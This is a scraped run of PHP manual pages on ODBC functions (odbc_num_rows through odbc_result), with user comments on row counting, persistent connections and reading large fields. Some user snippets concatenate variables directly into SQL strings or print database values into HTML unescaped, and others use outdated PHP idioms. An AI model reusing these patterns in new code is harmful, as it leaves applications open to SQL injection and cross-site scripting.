<?php
if( odbc_num_rows( $Result ) ) {
   while( false !== ( $Row = @odbc_fetch_array( $Result ) ) ) {
     // do something with $Row
   }
}
else {
   return false;
}
?>

and it didn't work... obviously

but this while loop will skip an empty result set anyway, so i use this:

<?php
while( false !== ( $Row = @odbc_fetch_array( $Result ) ) ) {
  // do something with $Row
}
if( ! odbc_num_rows( $Result ) ) {
   return false;
}
?>

because after processing the $Result with fetch, odbc_num_rows reports the correct count (false|0..n) ... magic :-)
pjavilla at gmail dot com 01-Oct-2012 01:07
When accessing a DB2 database with PHP via the ODBC functions, beware of statements which include references to IBM's LONGDESCRIPTION table (for example, if you were - like myself - digging through IBM's Maximo product). Reading from that table usually requires error suppression, because although it works ODBC will spit out a warning message onscreen.

When you make it part of another query however, ODBC_NUM_ROWS will always return -1. The solution is to keep any queries to LONGDESCRIPTION in a separate standalone query by itself.

However, if you run the query though a previewer like Toad for DB2, using LONGDESCRIPTION in a larger query is fine and does show the results. It's just that you have to break the query up and segregate the query to LONGDESCRIPTION on its own if you are writing ODBC queries for PHP.

Just a quick note for anyone else who found ODBC_NUM_RESULTS normally reliable otherwise but inexplicably always returning -1 under certain circumstances.
walt at brookhouse dot co dot uk 09-Jul-2010 11:45
The easy way to count the rows in an odbc resultset where the driver returns -1 is to let SQL do the work:

<?php

    $conn = odbc_connect("dsn", "", "");
    $rs = odbc_exec($conn, "SELECT Count(*) AS counter FROM tablename WHERE fieldname='" . $value . "'");
    $arr = odbc_fetch_array($rs);
    echo $arr['counter'];

?>
chew_baka at hotmail dot com 18-May-2010 11:44
None of these examples were working for me, so I came up with the following silly procedure that gives me the number of rows.  This example is crude, but you should get the idea.

<?php
$cxn = odbc_connect("ODBC_DSN_NAME", "", "");
$sql = "SELECT * FROM some_table'";
$res = odbc_exec($cxn, $sql);
$items = 0;
 while ($row = odbc_fetch_array($res))
   {
       $items++;
   }
  odbc_free_result($res);
  echo "<br>total No. of rows: $items";
?>
jeff at script-xs dot com 02-Jan-2009 08:34
After minutes of frustration, I realized why odbc_num_rows was not returning the number of affected rows on a prepared update query.  I'm using ODBC to connect to Microsot SQL Server 2005.

My corrected code:

<?php
$query = odbc_prepare($conn, 'UPDATE table SET cat = ? WHERE id = 1');
$result = odbc_execute($query, $category);
$affected = odbc_num_rows($query);
?>

This code works.  I was frustrated that odbc_num_rows($result) didn't work as I expected, but instead required me to pass the original prepared query to this function.
sirio3mil at gmail dot com 17-Jun-2008 06:46
The diference between functions used here are consierable, for example for one table with 36 columns and 806 rows the time to execute two of those functions are this:

function using odbc odbc_result_all take 2,6 seconds
function using odbc_fetch_row take 0,8 seconds
areznik at survdata dot com 30-Nov-2007 07:04
I could have been noted before in this thread but I couldnt find it on my first search.

This function (odbc_num_rows) returns -1 when ODBCing to MS SQL and making it hard to get the number of rows in the returned recordset.

Two workarounds:
   1. When you just need to verify that any rows returned from your query you can use select count(*) as cnt from table and then just get $row['cnt']
   2. When you need to actually loop through the records this function returns number of rows in the recordset if and only if you include ORDER BY clause in your query statement.

That sounds a bit annoying but thats the work around when dealing with MS SQL odbc driver I guess.

It would be beneficial if someone explained how the Order By clause makes the difference.
Nathaniel at comtel dot com dot au 31-Oct-2007 05:57
My development computer is running XP sql2005 while the production copy sits on a server 2003R2 sql2000 computer.

In the course of trying to get this function to work (switching from mssql to odbc) I have discovered that the ODBC driver versions are different between the two OS and that while the newer version (release date 17/2/07) that is able to be installed on 2003 handles this function fine, the older version doesn't.

Microsoft sites suggest that Vista might also handle it (ie have the newer driver). It also says that there are no plans to release the newer driver in a installable package.

http://support.microsoft.com/kb/892854

Will hopefully test with the sql2005 on server 2003R2 in the near future to confirm it is the driver helping here.
pmo@raadvst-consetatDOTbe 16-Oct-2007 11:46
voland's function is simply great.
However, i would recommend the use of ob_end_clean(), to shut down completely the output buffer (can cause weird behaviour).
nielsvandenberge at hotm dot dot dot dot dot com 11-Sep-2007 02:06
I just tried to use the function best_odbc_num_rows($result) from voland at digitalshop dot ru, but it's not working quite well. After executing the function odbc_result_all(); the resultset has to be resetted again.
Resetting it with

odbc_fetch_row($result, 0);

is not working for me.

I think the internal number-value of the odbc_result_all()-function is not resetted, but that's just a guess.

when I execute the function 3 times with a resultset of 17 rows the values: 17, 34 and 51 are returned.

His previous function useful_odbc_num_rows($result) works better (for me).
voland at digitalshop dot ru 26-Mar-2007 04:50
Today we find a BEST way to count number of rows with ODBC!

function best_odbc_num_rows($r1)  {

ob_start(); // block printing table with results

(int)$number=odbc_result_all($r1);

ob_clean(); // block printing table with results

return $number;

}
voland at digitalshop dot ru 05-Mar-2007 02:56
After a hour for a searching a good alter function of odbc_num_rows... i try to write it by mysels:

function useful_odbc_num_rows($result){

   $num_rows=0;

   while($temp = odbc_fetch_into($result, &$counter))

   {
       $num_rows++;
   }

@odbc_fetch_row($result, 0);   // reset cursor

   return $num_rows;
}
dm at personalcomputingsolutions dot co dot uk 07-Feb-2007 10:41
function db_get_row($cur, $rownum){
if (odbc_fetch_into($cur, $row, $rownum)){
        return ($row);
    }else{
        return (FALSE);
}

$i=1;
if (db_get_row($cur,1)){
while ($record=db_get_row($cur,$i++)){
do stuff
}else{
tell the user there are no results
}


Open a persistent database connection

  • « odbc_num_rows
  • odbc_prepare »
  • PHP Manual
  • ODBC Functions
  • Open a persistent database connection

odbc_pconnect

(PHP 4, PHP 5)

odbc_pconnect — Open a persistent database connection

Description

resource odbc_pconnect ( string $dsn , string $user , string $password [, int $cursor_type ] )

Opens a persistent database connection.

This function is much like odbc_connect(), except that the connection is not really closed when the script has finished. Future requests for a connection with the same dsn, user, password combination (via odbc_connect() and odbc_pconnect()) can reuse the persistent connection.

Parameters

See odbc_connect() for details.

Return Values

Returns an ODBC connection id or 0 (FALSE) on error.

Notes

Note: Persistent connections have no effect if PHP is used as a CGI program.

See Also

  • odbc_connect() - Connect to a datasource
  • Persistent Database Connections

User Contributed Notes

alberici at to dot infn dot it 15-Jul-2002 01:42
I saw that closing an ODBC persistent connection opened with odbc_pconnect() with odbc_close() doesnt work. Someone here have proposed using odbc_close_all() but wouldnt that close all persistent connections (also others ones !!!) ? What about catching a persistent handle with odbc_connect() and then closing the connection with odbc_close() ? If there are no available handles (for some reason the last pconn has been closed) this approach opens and close a normal single-script connection. Waiting comments...
j_schrab at execpc dot com 16-Jan-2001 06:41
Ok, learning time.  As I was told by the PHP-DevTeam...

Multiple connections are supported, but when you try to connect with exactly the same parameters, an existing
connection will be reused, leading to the behaviour you see.

You can simply omit the calls to odbc_close() since
connections get closed on script termination anyway or better:
Consider making your connection id a global variable or pass
it to your functions.
wls at wwco dot com 11-Aug-2000 04:44
I found that using  odbc_close($odbchandle)  on a connection opened by odbc_pconnect() causes a warning "not a valid ODBC-Link resource".  So you can't just change odbc_connect() to odbc_pconnect() and expect things to work without warning messages.  However, you can use odbc_close_all() and not get a warning.
etsai at email dot com 29-Jun-2000 06:10
The following constants are defined for cursortype:
 - SQL_CUR_USE_IF_NEEDED
 - SQL_CUR_USE_ODBC
 - SQL_CUR_USE_DRIVER
 - SQL_CUR_DEFAULT

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.


Prepares a statement for execution

  • « odbc_pconnect
  • odbc_primarykeys »
  • PHP Manual
  • ODBC Functions
  • Prepares a statement for execution

odbc_prepare

(PHP 4, PHP 5)

odbc_prepare — Prepares a statement for execution

Description

resource odbc_prepare ( resource $connection_id , string $query_string )

Prepares a statement for execution. The result identifier can be used later to execute the statement with odbc_execute().

Some databases (such as IBM DB2, MS SQL Server, and Oracle) support stored procedures that accept parameters of type IN, INOUT, and OUT as defined by the ODBC specification. However, the Unified ODBC driver currently only supports parameters of type IN to stored procedures.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

query_string

The query string statement being prepared.

Return Values

Returns an ODBC result identifier if the SQL command was prepared successfully. Returns FALSE on error.

Examples

Example #1 odbc_execute() and odbc_prepare() example

In the following code, $success will only be TRUE if all three parameters to myproc are IN parameters:

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt    = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

If you need to call a stored procedure using INOUT or OUT parameters, the recommended workaround is to use a native extension for your database (for example, mssql for MS SQL Server, or oci8 for Oracle).

See Also

  • odbc_execute() - Execute a prepared statement

User Contributed Notes

Ron 30-Aug-2007 11:33
odbc_exec() returns BOOLEAN if the query doesn't return a result set.

If the query returns a result set, odbc_exec() returns a resource to that result set.
bslorence 07-Dec-2006 10:50
Is it just me or is the code above misleading? It makes it look like odbc_execute() returns a resource suitable, say, for passing to one of the odbc_fetch_* functions.

In fact, odbc_execute() returns a boolean, which simply indicates success (TRUE) or failure (FALSE). The variable to pass to odbc_fetch_* is the same one that you pass to odbc_execute():

<?php
$res = odbc_prepare($db_conn, $query_string);
if(!$res) die("could not prepare statement ".$query_string);

if(odbc_execute($res, $parameters)) {
    $row = odbc_fetch_array($res);
} else {
    // handle error
}
?>
Marek 16-Dec-2004 09:59
Use this example for IBM DB/2:

$q = "update TABLE set PASS=? where NAME=?";
$res = odbc_prepare ($con, $q);

$a = "secret"; $b="user";
$exc = odbc_execute($res, array($a, $b));


Gets the primary keys for a table

  • « odbc_prepare
  • odbc_procedurecolumns »
  • PHP Manual
  • ODBC Functions
  • Gets the primary keys for a table

odbc_primarykeys

(PHP 4, PHP 5)

odbc_primarykeys — Gets the primary keys for a table

Description

resource odbc_primarykeys ( resource $connection_id , string $qualifier , string $owner , string $table )

Returns a result identifier that can be used to fetch the column names that comprise the primary key for a table.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

owner

table

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TABLE_QUALIFIER
  • TABLE_OWNER
  • TABLE_NAME
  • COLUMN_NAME
  • KEY_SEQ
  • PK_NAME

User Contributed Notes

ewilde aht bsmdevelopment dawt com 12-Jul-2006 12:39
I was trying to find the primary keys from an SQLServer database through the ODBC interface.  Funnily enough, the odbc_primarykeys function doesn't work with SQLServer (at least not my implementation of it).  Fortunately, the sp_keys query is passed through and the answer returned.  This code works (providing you know which database you're dealing with, which is a whole 'nother story).

// If this is SQLServer, we need to do a special operation to get the
// primary keys.
//
// Looks like the implementers of the ODBC interface just blew this
// one off, since the database has a query to return the info and the
// info even comes back with the same column names.
if ($DBType == "SQLServer")
  $KeySel = odbc_exec($DBConn, "sp_pkeys ".$TableName);

// Otherwise, ask the database through ODBC for the primary key
// names.
else $KeySel = odbc_primarykeys($DBConn, $DatabaseName,
  $DatabaseUser, $TableName);

while ($KeySel && ($KeyRec = odbc_fetch_array($KeySel)))
  $KeyCol[$KeyRec["KEY_SEQ"]] = $KeyRec["COLUMN_NAME"];
dan dot scott at ca dot ibm dot com 21-Dec-2004 04:51
Responding to devendra_joshi:

In DB2 Universal Database for Linux, UNIX, and Windows the catalog views are accessed through the SYSCAT schema, not the SYSIBM schema -- so you should be issuing "SELECT * FROM SYSCAT.KEYCOLUSE" to list all of the columns that participate in a given key constraint.

A complete list of the catalog views for DB2 can be referenced at http://publib.boulder.ibm.com/infocenter/db2help/ by searching for 'catalog views' and selecting the top hit.
Rio Bautista (RRIT) 20-Feb-2004 05:08
Sample to get the primary keys of an MSSQL table:

$cn = odbc_connect( "DSN", "sa", "pwd");

$rs = odbc_primarykeys( $cn, "database", "dbo", "table_name");

odbc_result_all($rs);
devendra_joshi at hotmail dot com 11-Jul-2003 11:52
I want a list of primary keys of a table in db2

by using
'select * from SYSIBM.SYSKEYCOLUSE ' query i am getting the result on CLP
but when i am writing it in PHP as follows it returns 0 ROWS.

$mstmt="select * from SYSIBM.SYSKEYCOLUSE";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

where as  if we write this code

$mstmt="select * from SYSIBM.SYSFUNCTIONS";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

it returns the correct data.


Retrieve information about parameters to procedures

  • « odbc_primarykeys
  • odbc_procedures »
  • PHP Manual
  • ODBC Functions
  • Retrieve information about parameters to procedures

odbc_procedurecolumns

(PHP 4, PHP 5)

odbc_procedurecolumns — Retrieve information about parameters to procedures

Description

resource odbc_procedurecolumns ( resource $connection_id )
resource odbc_procedurecolumns ( resource $connection_id , string $qualifier , string $owner , string $proc , string $column )

Retrieve information about parameters to procedures.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

proc

The proc. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

column

The column. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

Return Values

Returns the list of input and output parameters, as well as the columns that make up the result set for the specified procedures. Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • PROCEDURE_QUALIFIER
  • PROCEDURE_OWNER
  • PROCEDURE_NAME
  • COLUMN_NAME
  • COLUMN_TYPE
  • DATA_TYPE
  • TYPE_NAME
  • PRECISION
  • LENGTH
  • SCALE
  • RADIX
  • NULLABLE
  • REMARKS

The result set is ordered by PROCEDURE_QUALIFIER, PROCEDURE_OWNER, PROCEDURE_NAME and COLUMN_TYPE.

User Contributed Notes

There are no user contributed notes for this page.


Get the list of procedures stored in a specific data source

  • « odbc_procedurecolumns
  • odbc_result_all »
  • PHP Manual
  • ODBC Functions
  • Get the list of procedures stored in a specific data source

odbc_procedures

(PHP 4, PHP 5)

odbc_procedures — Get the list of procedures stored in a specific data source

Description

resource odbc_procedures ( resource $connection_id )
resource odbc_procedures ( resource $connection_id , string $qualifier , string $owner , string $name )

Lists all procedures in the requested range.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

qualifier

The qualifier.

owner

The owner. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

name

The name. This parameter accepts the following search patterns: "%" to match zero or more characters, and "_" to match a single character.

Return Values

Returns an ODBC result identifier containing the information or FALSE on failure.

The result set has the following columns:

  • PROCEDURE_QUALIFIER
  • PROCEDURE_OWNER
  • PROCEDURE_NAME
  • NUM_INPUT_PARAMS
  • NUM_OUTPUT_PARAMS
  • NUM_RESULT_SETS
  • REMARKS
  • PROCEDURE_TYPE

User Contributed Notes

There are no user contributed notes for this page.


Print result as HTML table

  • « odbc_procedures
  • odbc_result »
  • PHP Manual
  • ODBC Functions
  • Print result as HTML table

odbc_result_all

(PHP 4, PHP 5)

odbc_result_all — Print result as HTML table

Description

int odbc_result_all ( resource $result_id [, string $format ] )

Prints all rows from a result identifier produced by odbc_exec(). The result is printed in HTML table format.

Parameters

result_id

The result identifier.

format

Additional overall table formatting.

Return Values

Returns the number of rows in the result or FALSE on error.

User Contributed Notes

vaibhav 08-Jun-2010 09:49
code for php mssql odbc connection and executing an stored procedure

<?php
$package_code = 'AUS03B';
$client_id = 499;
$conn = odbc_connect(DSN,USER,PASS,SQL_CUR_USE_ODBC);
//SQL_CUR_USE_IF_NEEDED,SQL_CUR_USE_ODBC ,SQL_CUR_USE_DRIVER SQL_CUR_DEFAULT
$sql_result = odbc_prepare($conn, "EXEC usp_packagesearch_xml '$package_code','$client_id'");
$result = odbc_execute($sql_result);
//$string = odbc_result($sql_result,1);
$string = odbc_result_all($sql_result,"border=1");
?>
alvaro at demogracia dot com 30-Apr-2009 11:26
The $format parameter is an optional string that gets inserted in the <table> tag. The string is printed as-is. E.g.:

<?php
odbc_result_all($res, 'id="users" class="listing"');
?>

... prints:

<table id="users" class="listing" >...
ZAPtheZAPs dot schulze dot zap at zap dot telstra dot com 02-May-2004 11:12
a revised version marius' code that works with Memo fields. (also returns rather than prints strings)

function ODBCResourceToHTML($res, $sTable, $sRow)
{$cFields = odbc_num_fields($res);
 $strTable = "<table $sTable ><tr>";
 for ($n=1; $n<=$cFields; $n++)
   {$strTable .= "<td $sRow><b>". str_replace("_", " ", odbc_field_name($res, $n)) . "</b></td>";}
   $strTable .= "</tr>";
   while(odbc_fetch_row($res))
   { $strTable .= "<tr>";
      for ($n=1; $n<=$cFields; $n++)
             {$cell = odbc_result($res, $n);
    if ($cell=='') {$strTable .= "<td $sRow>&nbsp;</td>";}
             else {$strTable .= "<td $sRow>". $cell . "</td>";}}
     $strTable .= "</tr>";}
 $strTable .= "</table>";
 Return $strTable;}

DEAR MODERATORS: you would save yourselve much much time by making this entire manual into a wiki (ie like http://en.wikipedia.org ) and within a year this would be the best manual on anything!!

best wishes, Erich
marius at stones dot com 24-Jun-2003 07:21
I've written this little function that functions simirarly to odbc_result_all, but works with MySQL:

/**
 * This function emulates the odbc_result_all function, which will return a HTML table cosisting of
 * the results of an SQL query.
 * Usage: pass a mysql result set to this function, and it will return (not output) a string containing
 * an HTML table
 * Parameters:
 * - $result is your mysql result set (result of a mysql_query() function call)
 * - $tableFeatures is a string containing any HTML TABLE features you would like in the table
 *   (eg. BORDER="0" etc.)
 */
function _mysql_result_all($result, $tableFeatures="") {
  $table .= "<!--Debugging output for SQL query-->\n\n";
  $table .= "<table $tableFeatures>\n\n";
  $noFields = mysql_num_fields($result);
  $table .= "<tr>\n";
  for ($i = 0; $i < $noFields; $i++) {
    $field = mysql_field_name($result, $i);
    $table .= "\t<th>$field</th>\n";
  }
  while ($r = mysql_fetch_row($result)) {
    $table .= "<tr>\n";
    foreach ($r as $kolonne) {
      $table .= "\t<td>$kolonne</td>\n";
    }
    $table .= "</tr>\n";
  }
  $table .= "</table>\n\n";
  $table .= "<!--End debug from SQL query-->\n\n";
  return $table;
}

Enjoy...
cchristianed at netzero dot net 02-Apr-2003 07:31
About the $result reseting array instead of using:
1) odbc_fetch_row($result, 1);
use:
2) odbc_fetch_row($result, 0);

1) will fail because it will not show first record, arrays start with subscript 0.
sanjay dot ghimire at kpmg-infodesign dot com 04-Dec-2002 12:47
I wrote a small function slightly similiar to odbc_record_all, but there you can use format for both table and rows separately, which is not by odbc_record_all. hope it will be useful some how.

--- Sanjay, Germany

Here is code:

odbc_result_all_ex($result, 'Border=0 cellspacing=0 cellpadding=5', "style='FONT-FAMILY:Tahoma; FONT-SIZE:8pt; BORDER-BOTTOM:solid 1pt gree'");

function odbc_result_all_ex($res, $sTable, $sRow)
{
    $cFields = odbc_num_fields($res);

    $strTable = "<table $sTable>";
    $strTable .= "<tr>";
    for ($n=1; $n<=$cFields; $n++)
    {

        $strTable .= "<td $sRow><b>". str_replace("_", " ", odbc_field_name($res, $n)) . "</b></td>";

    }
    $strTable .= "</tr>";

    while(odbc_fetch_row($res))
    {
        $strTable .= "<tr>";
            for ($n=1; $n<=$cFields; $n++)
            {
                if (odbc_result($res, $n)=='')
                {
                    $strTable .= "<td $sRow>&nbsp;</td>";
                }
                else
                {
                    $strTable .= "<td $sRow>". odbc_result($res, $n) . "</td>";
                }

            }
        $strTable .= "</tr>";
    }

    $strTable .= "</table>";

    Print $strTable;

}
rabbott at calstatela dot edu 16-Aug-2000 02:46
odbc_result_all($result) cycles through
$result. So a subsequent call to odbc_fetch_row($result) will fail.
You must use odbc_fetch_row($result, 1)
to reset $result.  (But when I do that,
I get a crash!)
martin dot vgagern at gmx dot net 25-Mar-2000 10:49
As some people stated in the ODBC overview, some buggy drivers always return the number of rows to be -1. AFAIK the only way to help this situation is to count the rows by calls to odbc_fetch_into or odbc_fetch_row and then build the table yourself.


Get result data

  • « odbc_result_all
  • odbc_rollback »
  • PHP Manual
  • ODBC Functions
  • Get result data

odbc_result

(PHP 4, PHP 5)

odbc_result — Get result data

Description

mixed odbc_result ( resource $result_id , mixed $field )

Get result data

Parameters

result_id

The ODBC resource.

field

The field name being retrieved. It can either be an integer containing the column number of the field you want; or it can be a string containing the name of the field.

Return Values

Returns the string contents of the field, FALSE on error, NULL for NULL data, or TRUE for binary data.

Examples

The first call to odbc_result() returns the value of the third field in the current record of the query result. The second function call to odbc_result() returns the value of the field whose field name is "val" in the current record of the query result. An error occurs if a column number parameter for a field is less than one or exceeds the number of columns (or fields) in the current record. Similarly, an error occurs if a field with a name that is not one of the fieldnames of the table(s) that is(are) being queried.

Example #1 odbc_result() examples

<?php
$item_3   = odbc_result($Query_ID, 3);
$item_val = odbc_result($Query_ID, "val");
?>

Notes

Field indices start from 1. Regarding the way binary or long column data is returned refer to odbc_binmode() and odbc_longreadlen().

User Contributed Notes

cgray at develop4 dot us 18-Apr-2012 06:10
FYI: odbc_result contains the following values: TABLE_QUALIFIER    TABLE_OWNER    TABLE_NAME    COLUMN_NAME    DATA_TYPE    TYPE_NAME    PRECISION    LENGTH    SCALE    RADIX    NULLABLE    REMARKS    COLUMN_FLAGS

I wrote the following to dump these values onto the page. I needed this to determine if the data-type for a column was something specific (eg: blob) to show a different result, instead of the actual contents.

        $connection_string = 'OPTIM_BLOB';
        $user = '';
        $pass = '';
        if (!($connect = odbc_pconnect($connection_string, $user, $pass))) {

        } else {
            echo 'Connecting to DSN, loading tables<br /><br />';
            $result = odbc_tables($myconn);
            $tables = array();
            while (odbc_fetch_row($result)){
                if(odbc_result($result,"TABLE_TYPE")=="TABLE") {
                    $TableName = odbc_result($result,"TABLE_NAME");
                    echo '<span id="tableName">Table: '.$TableName.'</span> ....<br /><br /> ';
                    //--------- Show Columns in that table ---------------
                    $result2 = odbc_columns($myconn, '', "%", $TableName, "%");  //db connection, DB name, schema, table name, column_name);

                    while(odbc_fetch_row($result2)){
                        //TABLE_QUALIFIER    TABLE_OWNER    TABLE_NAME    COLUMN_NAME    DATA_TYPE    TYPE_NAME    PRECISION    LENGTH    SCALE    RADIX    NULLABLE    REMARKS    COLUMN_FLAGS

                        $COLUMN_NAME = odbc_result($result2, 4); // COLUMN_NAME
                        $DataType = odbc_result($result2, 6);
                        echo '<b>Column name: '.$COLUMN_NAME.'</b> Type: '.$DataType.'<br /><br />';

                        // everything
                        echo '1: '.odbc_result($result2, 1).'<br />';    // TABLE_QUALIFIER
                        echo '2: '.odbc_result($result2, 2).'<br />';    // TABLE_OWNER
                        echo '3: '.odbc_result($result2, 3).'<br />';    // TABLE_NAME
                        echo '4: '.odbc_result($result2, 4).'<br />';    // COLUMN_NAME
                        echo '5: '.odbc_result($result2, 5).'<br />';    // DATA_TYPE (Number)
                        echo '6: '.odbc_result($result2, 6).'<br />';    // TYPE_NAME (String)
                        echo '7: '.odbc_result($result2, 7).'<br />';    // PRECISION
                        echo '8: '.odbc_result($result2, 8).'<br />';    // LENGTH
                        echo '9: '.odbc_result($result2, 9).'<br />';    // SCALE
                        echo '10: '.odbc_result($result2, 10).'<br />';    // RADIX
                        echo '11: '.odbc_result($result2, 11).'<br />';    // NULLABLE
                        echo '12: '.odbc_result($result2, 12).'<br />';    // REMARKS
                        echo '13: '.odbc_result($result2, 13).'<br />';    // COLUMN_FLAGS
                        echo '<br /><br />';
                    }
                }
            }
        }
lucas at bizzfone dot nl 30-Oct-2009 12:24
The odbc_result() function has an apparently little known feature that comes in very handy when retrieving large text or binary fields.
Consider this code snippet to retrieve a large value into a temporary file (error testing left out for clarity):

<?php
$con=odbc_connect(...);
$query="set textsize 2147483647 ".
       "select someLargeField from ...";
$resultset=odbc_exec($con,$query);
odbc_binmode($resultset,ODBC_BINMODE_RETURN);
odbc_longreadlen($resultset,4096);
while (odbc_fetch_row($resultset)) {
   $fileHandle=fopen('/tmp/myfile','wb');
   while (($chunk=odbc_result($resultset,'someLargeField'))!==false) {
      fwrite($fileHandle,$chunk);
   }
   fclose($fileHandle);
   //do something with the file
}
?>

There are a few key points to make it work:
- Make sure to include "set textsize 2147483647 " in your query.
  Without it, MSSQL truncates large values to 4096 bytes by default.
  Other databases may have a similar small limit.
- The odbc_binmode() and odbc_longreadlen() calls are just for safety.
  Their defaults in php.ini are usually correct.
- Each odbc_result() call on a large field apparently returns the next chunk.
  Of course you have to read all chunks before the next odbc_fetch_row() call.
- When all of the large value has been read, odbc_result() will return false.

Note: Using mssql_ instead of odbc_ functions is not a viable alternative. They don't work with chunks (AFAIK) and even crash php (overflow, segmentation fault) when the query result contains a large value.
baoshenyi at hotmail dot com 17-Mar-2005 07:51
I use one store procedure to retrieve value of identifier, other, name, section,data and datecreated coulmns to variable from SQL server table

using $odbc_result = odbc_exec($connect,$query); function.

After that, I using following code,
for($f=1;$f<=odbc_num_fields($odbc_result);$f++) {echo "<td style=\"font-weight:bold\">$f ".odbc_field_name($odbc_result,$f)."</td>";}
echo "</tr></table>";
odbc_fetch_row($odbc_result);
echo odbc_result($odbc_result,1)."<br>";
echo odbc_result($odbc_result,2)."<br>";
echo odbc_result($odbc_result,3)."<br>";
echo odbc_result($odbc_result,4)."<br>";
echo odbc_result($odbc_result,5)."<br>";
echo odbc_result($odbc_result,6)."<br>";

The result is as following,
1 identifier 2 other 3 name 4 section 5 data 6 datecreated
id1
other2
name3
section4
Warning: odbc_result() [function.odbc-result]: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid Descriptor Index, SQL state S1002 in SQLGetData in d:\lawdepot_test\contracts\common\LicensingSQL.php on line 630
2005-03-16 18:12:00

I can not get "data"(Text column) back. Firstly, I think "data" column is too long for odbc_result($odbc_result,5) function, but after I check my old colde, I found I can get the "data" back using same function odbc_result().

I would like to hear any suggestions from you. Depressed on this question.

Michael
vlad dot posea at mymail dot ro 02-May-2003 01:22
i use odbc and mysql and i noticed after losing a lot of time that if you write something like this:
echo odbc_result($result,1);
....
echo odbc_result($result,1);
the second echo will fail. so it's more useful to save the result of odbc_result in a variable and use it later
like that: $var=odbc_result($result,1);
i hope this will be useful!
22-Jan-2003 03:43
From http://www.php.net/manual/en/function.odbc-longreadlen.php but relevant here, also.

An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length

to get around the limit on returned chars.
fate at doityourself dot com 20-Jan-2003 06:14
if you want to quickly change a website from odbc- to mysql-data-access, you could use a simple function like this one:
function myresult ($cur,$nr) {
   return mysql_result($cur,0,mysql_field_name($cur,$nr-1));
}
and just do a global replace from "odbc_result" to "myresult".

beware, you should only use this if you don't care too much about performance, as this will start a query for every field you request - the better way is of course using mysql_fetch_row!
murat at nospam dot robcol dot k12 dot tr 15-Jul-2002 11:44
When trying to get a date/time field from an Access database, odbc_result returns the date as text (e.g. 1998-07-11 21:12:23). You may use strtotime function to convert this into a format which can be used with PHP.

e.g.
echo "The date is "
 .date("r",strtotime(odbc_result($myquery,"mydate")));
huevo dot SP at M dot earthling dot net 01-Aug-2001 12:46
With an Access 2K database, odbc_result will only work the first time it is called on a memo field (odbc_field_type returns 'LONGCHAR').

$good = odbc_result($result,'Description');
# $good holds the field value
$fail = odbc_result($result,'Description');
# $fail holds false

This tripped me up when I did something like this:

for ($i=1; $i<=odbc_num_fields($result); $i++) {
  if(odbc_result($result,$i)){
    ... more code ...
    echo odbc_result($result,$i);
    ... snip ...
  }
}

For any field type except memo, this code works perfectly.  But on memo fields, odbc_result returns false on the second call and nothing is echoed.

Be careful, use a temporary variable instead of multiple calls to odbc_result.  (It's good programming practice anyway)

for (...) {
  $temp = odbc_result($result,$i);
  if($temp){
    ...
    echo $temp;
    ...
  }
}
user at frosch dot org 30-May-2001 05:55
Hopefully useful note on accessing TEXT fields on Windows, using PHP's ODBC support to access Sybase*. With the following code:

"SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,description AS projinfo FROM Project ORDER BY projtitel ASC"

I was getting a strange error:

  Warning: SQL error: [INTERSOLV][ODBC SQL Server driver][SQL Server]Invalid column name 'projanfang'. , SQL state S0022 in SQLGetData in [**scriptname and path removed**] on line 126

even though I was clearly selecting a field as 'projanfang'. The reason I worked out eventually is that Sybase/ODBC attempts to do a conversion on the TEXT field 'description', which fails since the limit for CONVERT is 255 characters, and TEXT is a field type with a  2 GB limit. I am not sure why it doesn't work implicitly, but it does explicitly. The following code will work without errors:

  "SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,CONVERT(CHAR(255),description) AS projinfo FROM Project ORDER BY projtitel ASC"

What you do if you have a need for more than 255 characters of your text field, I do not know :(. I have also tried longreadlen, but I couldn't work out how it could be used.

* System details: Windows NT 4.0 SP6a, IIS 4.0, Sybase 11.5 Adaptive Enteprise, PHP 4.0.5.
nomail at nomail dot nomail 04-Dec-2000 02:00
Problem: Function returns a max of 4095 bytes of a cell with one call.

Tip: If you have a cell containing more than 4095 bytes, write a loop and call the cell over and over as long return is not "". All returns can be added up to the whole string.
dac at felspar dot com 28-Oct-2000 04:43
FWIW, ADO and similar ODBC-using interfaces also cannot distinguish between A.id and B.id. The easy solution is aliasing in SQL:

Consider a table "A" consisting only of the column "id". Next, consider the following query:

SELECT * FROM A JOIN B ON A.id=B.id

With ODBC, you'd be forced to use the numerical index, rather than the name. However, you could rewrite the query, too:

SELECT A.id AS A_id, B.id AS B_id FROM A JOIN B ON A.id=B.id

This can be better on three counts:

Firstly, unless you really want everything in the result set, it might be faster. SQL servers can be faster with "*", but often the networking will benefit from less data (Or a smaller tuple width, if you're into database jargon).

Secondly, since you're forced into thinking about what you want out of the query, you'll probably write better SQL as a result.

Thirdly, if you change the query - or tables - slightly, you don't have to revisit all your code to cope with the change.

Aplogies for stating the obvious, and having no imagination with my examples.
dinin at fas dot harvard dot edu 22-Jul-2000 06:35
Here's a limitation that isn't mentioned anywhere (that I could see) and gave me a rather large headache for a couple of hours trying to figure out why my database wasn't initializing correctly.
